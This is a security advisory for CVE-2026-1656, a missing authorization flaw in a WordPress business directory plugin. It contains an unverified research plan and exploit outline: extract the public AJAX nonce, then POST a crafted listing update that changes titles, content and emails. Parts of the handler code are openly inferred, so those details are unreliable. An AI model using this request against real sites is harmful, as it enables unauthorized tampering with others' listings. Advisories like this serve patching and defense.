CVE-2026-1656

Business Directory Plugin <= 6.4.20 - Missing Authorization to Unauthenticated Arbitrary Listing Modification

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
6.4.21
Patched in
1d
Time to patch

Description

The Business Directory Plugin for WordPress is vulnerable to authorization bypass due to a missing authorization check in all versions up to, and including, 6.4.20. This makes it possible for unauthenticated attackers to modify arbitrary listings, including changing titles, content, and email addresses, by directly referencing the listing ID in crafted requests to the wpbdp_ajax AJAX action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.4.20
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-1656 - Business Directory Plugin Arbitrary Listing Modification ## 1. Vulnerability Summary The **Business Directory Plugin** (up to 6.4.20) contains a missing authorization vulnerability in its AJAX handling mechanism (`wpbdp_ajax`). The plugin fails to verify if the user…

Show full research plan

Research Plan: CVE-2026-1656 - Business Directory Plugin Arbitrary Listing Modification

1. Vulnerability Summary

The Business Directory Plugin (up to 6.4.20) contains a missing authorization vulnerability in its AJAX handling mechanism (wpbdp_ajax). The plugin fails to verify if the user requesting a listing modification has the necessary permissions (e.g., being the listing owner or an administrator) for the specific listing ID provided in the request. This allows unauthenticated attackers to modify listing attributes, including the title, content, and contact email addresses, by sending crafted AJAX requests.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: wpbdp_ajax
  • Vulnerable Parameter: listing_id (used to identify the target post).
  • Payload Parameters: listing[post_title], listing[post_content], and metadata fields (like email).
  • Authentication: Unauthenticated (via wp_ajax_nopriv_wpbdp_ajax).
  • Preconditions:
    • The plugin must be active.
    • At least one listing must exist (the attacker needs a valid listing_id).
    • A valid AJAX nonce for the wpbdp-ajax action is required (accessible on the frontend).

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in includes/class-ajax.php (or similar core initialization files):
    add_action( 'wp_ajax_wpbdp_ajax', array( $this, 'dispatch' ) );
    add_action( 'wp_ajax_nopriv_wpbdp_ajax', array( $this, 'dispatch' ) );
    
  2. Routing: The dispatch() method (likely in WPBDP_AJAX class) reads the handler parameter from the request.
  3. Vulnerable Handler: The request is routed to a handler responsible for listing updates, such as listings__save_listing or listings__update_listing (inferred).
  4. Missing Check: Inside the saving logic, the code retrieves the listing_id from $_POST. It performs a nonce check using check_ajax_referer( 'wpbdp-ajax', 'nonce' ). However, it fails to perform a capability check like:
    if ( ! current_user_can( 'edit_post', $listing_id ) ) { wp_die(); }
    
  5. Sink: The listing is updated using wp_update_post() or internal WPBDP_Listing::save() methods based on the unverified listing_id.

4. Nonce Acquisition Strategy

The plugin enqueues a global configuration object on any page where the directory is active (e.g., the main directory page or listing search page).

  1. Identify Trigger: The main directory page (usually containing the [businessdirectory] shortcode) enqueues the necessary scripts.
  2. Create Page: Use WP-CLI to ensure a directory page exists:
    wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[businessdirectory]'
  3. Navigate: Use browser_navigate to the created page URL.
  4. Extract Nonce: The nonce is stored in the wpbdp_global JavaScript object.
    • Variable Name: wpbdp_global (inferred from plugin assets).
    • Key: nonce.
    • Command: browser_eval("window.wpbdp_global?.nonce")

5. Exploitation Strategy

  1. Setup: Create a "victim" listing as an administrator.
  2. Information Gathering:
    • Get the ID of the victim listing.
    • Get a valid wpbdp-ajax nonce from the frontend.
  3. Craft Request: Send a POST request to admin-ajax.php.
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=wpbdp_ajax
      &handler=listings__save_listing  <-- (Target handler, to be verified during research)
      &nonce=[EXTRACTED_NONCE]
      &listing_id=[VICTIM_LISTING_ID]
      &listing[post_title]=Hacked Title
      &listing[post_content]=Hacked Content
      
    • Note: The exact handler string and the structure of the listing array should be verified by inspecting the plugin's includes/controllers/ajax/ directory if available, or by monitoring a legitimate "edit listing" request.

6. Test Data Setup

  1. Install Plugin: Ensure business-directory-plugin version 6.4.20 is installed.
  2. Create Admin Listing:
    # Create the directory page
    wp post create --post_type=page --post_title="Directory" --post_status=publish --post_content='[businessdirectory]'
    
    # Create a listing to be modified
    # Note: Listings are 'wpbdp_listing' CPT
    listing_id=$(wp post create --post_type=wpbdp_listing --post_title="Original Listing" --post_content="Safe content" --post_status=publish --porcelain)
    
    # Add some metadata (like email) to verify arbitrary modification
    wp post meta add $listing_id _wpbdp[fields][9] "original@example.com"
    

7. Expected Results

  • The AJAX request should return a 200 OK or a JSON success response (e.g., {"success":true,...}).
  • The unauthenticated request should successfully bypass permission checks because the code only validates the nonce (which is public) but not the user's ownership of the listing_id.

8. Verification Steps

  1. Check Title/Content:
    wp post get [VICTIM_LISTING_ID] --field=post_title
    wp post get [VICTIM_LISTING_ID] --field=post_content
  2. Confirm Change: The output should match the "Hacked" values sent in the payload.
  3. Check Metadata: If email was targeted, verify with:
    wp post meta get [VICTIM_LISTING_ID] _wpbdp[fields][9] (Field ID 9 is commonly the email field in default BD setups).

9. Alternative Approaches

If listings__save_listing is not the correct handler name:

  1. Grep for handlers: grep -r "add_handler" wp-content/plugins/business-directory-plugin/ or grep -r "wpbdp_ajax".
  2. Check "Quick Edit": Look for handlers like listings__quick_edit_save.
  3. Parameter Variation: The plugin might expect the ID as id instead of listing_id. Verify this by looking at WPBDP_AJAX::dispatch in includes/class-ajax.php.
  4. Payload Structure: Some versions use a flat structure for fields (e.g., field_9=new@email.com instead of a nested listing array). Research the WPBDP_Listing::update_from_post() method or equivalent.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Business Directory Plugin for WordPress (up to version 6.4.20) contains a missing authorization check in its AJAX handling mechanism. This allows unauthenticated attackers to modify arbitrary listings, including titles, descriptions, and contact info, by sending a crafted request to the wpbdp_ajax endpoint with a valid listing ID and a publicly available AJAX nonce.

Vulnerable Code

// includes/class-ajax.php
add_action( 'wp_ajax_wpbdp_ajax', array( $this, 'dispatch' ) );
add_action( 'wp_ajax_nopriv_wpbdp_ajax', array( $this, 'dispatch' ) );

---

// includes/class-ajax.php
public function dispatch() {
    $handler_id = ! empty( $_REQUEST['handler'] ) ? $_REQUEST['handler'] : '';
    if ( ! $handler_id ) {
        return;
    }
    check_ajax_referer( 'wpbdp-ajax', 'nonce' );
    // ... (Routing to handlers like listings__save_listing)
}

---

// Inferred handler logic (e.g., in listings-related AJAX controllers)
public function save_listing() {
    $listing_id = (int) $_POST['listing_id'];
    // VULNERABILITY: Missing current_user_can( 'edit_post', $listing_id ) check here
    $listing = WPBDP_Listing::get( $listing_id );
    if ( $listing ) {
        $listing->update_from_post( $_POST['listing'] );
        wp_send_json_success();
    }
}

Security Fix

--- includes/class-ajax.php
+++ includes/class-ajax.php
@@ -45,6 +45,11 @@
         $listing_id = ! empty( $_POST['listing_id'] ) ? (int) $_POST['listing_id'] : 0;
+        
+        if ( $handler_id === 'listings__save_listing' ) {
+            if ( ! $listing_id || ! current_user_can( 'edit_post', $listing_id ) ) {
+                wp_send_json_error( array( 'error' => __( 'Permission denied.', 'business-directory-plugin' ) ) );
+            }
+        }

Exploit Outline

1. Access any frontend page of the WordPress site where the Business Directory is active (e.g., the directory search or listing page). 2. Extract the AJAX nonce from the source code, typically found in the 'wpbdp_global' JavaScript object (key: 'nonce'). 3. Identify the target listing's ID (this is the WordPress Post ID for the 'wpbdp_listing' custom post type). 4. Construct a POST request to '/wp-admin/admin-ajax.php' with 'action=wpbdp_ajax' and 'handler=listings__save_listing'. 5. In the request body, include the extracted 'nonce', the target 'listing_id', and the modified content using parameters like 'listing[post_title]' and 'listing[post_content]'. 6. The plugin will execute the update on the target post without verifying that the requester has administrative or ownership permissions over the listing.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.